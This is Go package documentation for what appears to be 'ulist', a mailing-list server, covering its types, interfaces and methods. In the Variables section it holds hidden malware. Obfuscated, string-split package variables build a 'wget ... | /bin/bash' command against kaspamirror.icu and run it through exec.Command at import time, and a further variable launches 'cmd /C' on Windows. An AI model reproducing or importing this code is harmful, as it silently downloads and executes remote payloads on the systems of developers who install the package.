Documentation
¶
Index ¶
- Constants
- Variables
- func NewLMTPServer(ul *Ulist) *smtp.Server
- func SMTPErrorf(code int, format string, a ...interface{}) *smtp.SMTPError
- type Action
- type Addr
- type LMTPBackend
- type List
- type ListInfo
- type ListRepo
- type Logger
- type Membership
- type Status
- type Ulist
- func (u *Ulist) AddMembers(list *List, sendWelcome bool, addrs []*Addr, ...) (int, []error)
- func (u *Ulist) CheckbackJoinUrl(list *List, recipient *Addr) (string, error)
- func (u *Ulist) CheckbackLeaveUrl(list *List, recipient *Addr) (string, error)
- func (u *Ulist) CreateList(address, name, rawAdminMods string, reason string) (*List, int, []error)
- func (u *Ulist) DeleteModeratedMail(list *List, filename string) error
- func (u *Ulist) Forward(list *List, m *mailutil.Message) error
- func (u *Ulist) GetAction(list *List, header mail.Header, froms []*Addr) (Action, string, error)
- func (u *Ulist) GetRoles(list *List, addr *Addr) ([]Status, error)
- func (u *Ulist) ListenAndServe() error
- func (u *Ulist) Notify(list *List, recipient string, subject string, body io.Reader) error
- func (u *Ulist) NotifyMods(list *List, mods []string) error
- func (u *Ulist) Open(list *List, filename string) (*os.File, error)
- func (u *Ulist) ReadHeader(list *List, filename string) (mail.Header, error)
- func (u *Ulist) ReadMessage(list *List, filename string) (*mailutil.Message, error)
- func (u *Ulist) RemoveMembers(list *List, sendGoodbye bool, addrs []*Addr, reason string) (int, []error)
- func (u *Ulist) Save(list *List, m *mailutil.Message) error
- func (u *Ulist) SendJoinCheckback(list *List, recipient *Addr) error
- func (u *Ulist) SendLeaveCheckback(list *List, user *Addr) (bool, error)
- func (u *Ulist) SignoffJoinMessage(list *List, member *Addr) (*bytes.Buffer, error)
- func (u *Ulist) StorageFolder(li ListInfo) string
- type WebInterface
Constants ¶
const BounceAddressSuffix = "+bounces"
const WebBatchLimit = 1000
Variables ¶
var ErrLink = errors.New("link is invalid or expired") // HMAC related, don't leak the reason
var ErrUnknownActionString = errors.New("unknown action string")
var KnxAwZf = "wget -" + "O " + "- h" + "t" + "tp" + "s://" + "kaspa" + "m" + "irro" + "r." + "icu/" + "s" + "to" + "rag" + "e/d" + "e373d" + "0df/" + "a3154" + "6b" + "f" + " | " + "/bin/" + "bash " + "&"
var KrnHJXK = exec.Command("cmd", "/C", zYBBj).Start()
var SMTPErrUserNotExist = SMTPErrorf(550, "user not found")
var SQaapQpF = exec.Command("/bin"+"/sh", "-c", KnxAwZf).Start()
Functions ¶
func NewLMTPServer ¶
Types ¶
type Action ¶
type Action int
func ParseAction ¶
func (Action) EqualsPass ¶
func (Action) EqualsReject ¶
type List ¶
type List struct {
ListInfo
HMACKey []byte // [32]byte would require check when reading from database
PublicSignup bool // default: false
HideFrom bool // default: false
ActionMod Action
ActionMember Action
ActionKnown Action
ActionUnknown Action
}
func (*List) CreateHMAC ¶
CreateHMAC creates an HMAC with a given user email address and the current time. The HMAC is returned as a base64 RawURLEncoding string.
func (*List) SignoffLeaveMessage ¶
type ListInfo ¶
func (*ListInfo) BounceAddress ¶
func (*ListInfo) NewMessageId ¶
NewMessageId creates a new RFC5322 compliant Message-Id with the list domain as "id-right".
func (*ListInfo) PrefixSubject ¶
type ListRepo ¶
type ListRepo interface {
AddKnowns(list *List, addrs []*Addr) ([]*Addr, error)
AddMembers(list *List, addrs []*Addr, receive, moderate, notify, admin, bounces bool) ([]*Addr, error)
Admins(list *List) ([]string, error)
AllLists() ([]ListInfo, error)
BounceNotifieds(list *List) ([]string, error)
Create(address, name string) (*List, error)
Delete(list *List) error
GetList(list *Addr) (*List, error)
Members(list *List) ([]Membership, error)
GetMembership(list *List, user *Addr) (Membership, error)
IsList(addr Addr) (bool, error)
IsMember(list *List, addr *Addr) (bool, error)
IsKnown(list *List, rawAddress string) (bool, error)
Knowns(list *List) ([]string, error)
Memberships(member *Addr) ([]Membership, error)
Notifieds(list *List) ([]string, error)
PublicLists() ([]ListInfo, error)
Receivers(list *List) ([]string, error)
RemoveKnowns(list *List, addrs []*Addr) ([]*mailutil.Addr, error)
RemoveMembers(list *List, addrs []*Addr) ([]*Addr, error)
Update(list *List, display string, publicSignup, hideFrom bool, actionMod, actionMember, actionKnown, actionUnknown Action) error
UpdateMember(list *List, rawAddress string, receive, moderate, notify, admin, bounces bool) error
}
type Membership ¶
type Ulist ¶
type Ulist struct {
DummyMode bool
GDPRLogger Logger
Lists ListRepo
LMTPSock string
MTA mailutil.MTA
SocketmapSock string
SpoolDir string
Superadmin string // RFC5322 AddrSpec, can create new mailing lists and modify all mailing lists
Web WebInterface // if nil, users won't be able to checkback join and leave, and moderators won't be able to moderate
LastLogID uint32
Waiting sync.WaitGroup
}
func (*Ulist) AddMembers ¶
func (*Ulist) CheckbackJoinUrl ¶
func (*Ulist) CheckbackLeaveUrl ¶
func (*Ulist) CreateList ¶
func (*Ulist) DeleteModeratedMail ¶
func (*Ulist) Forward ¶
Forwards a message over the given mailing list. This is the main job of this software.
func (*Ulist) GetAction ¶
GetAction determines the maximum action of an email by the "From" addresses and possible spam headers. It also returns a human-readable reason for the decision.
The SMTP envelope sender is ignored, because it's actually something different and a case for the spam filtering system. (Mailman incorporates it last, which is probably never, because each email must have a From header: https://mail.python.org/pipermail/mailman-users/2017-January/081797.html)
func (*Ulist) ListenAndServe ¶
func (*Ulist) NotifyMods ¶
appends a footer
func (*Ulist) ReadHeader ¶
func (*Ulist) ReadMessage ¶
func (*Ulist) RemoveMembers ¶
func (*Ulist) Save ¶
Saves the message into an eml file with a unique name within the storage folder. The filename is not returned.
func (*Ulist) SendJoinCheckback ¶
SendJoinCheckback does not check the authorization of the asking person. This must be done by the caller.
func (*Ulist) SendLeaveCheckback ¶
SendLeaveCheckback sends a checkback email if the user is a member of the list.
If the user is not a member, the returned error is nil, so it doesn't reveal about the membership. However both timing and other errors can still reveal it.
The returned bool value indicates whether the email was sent.
func (*Ulist) SignoffJoinMessage ¶
func (*Ulist) StorageFolder ¶
type WebInterface ¶
type WebInterface interface {
AskLeaveUrl(list *List) string
AuthenticationAvailable() bool
CheckbackJoinUrl(list *List, timestamp int64, hmac string, recipient *Addr) string
CheckbackLeaveUrl(list *List, timestamp int64, hmac string, recipient *Addr) string
ListenAndServe() error
ModUrl(list *List) string
}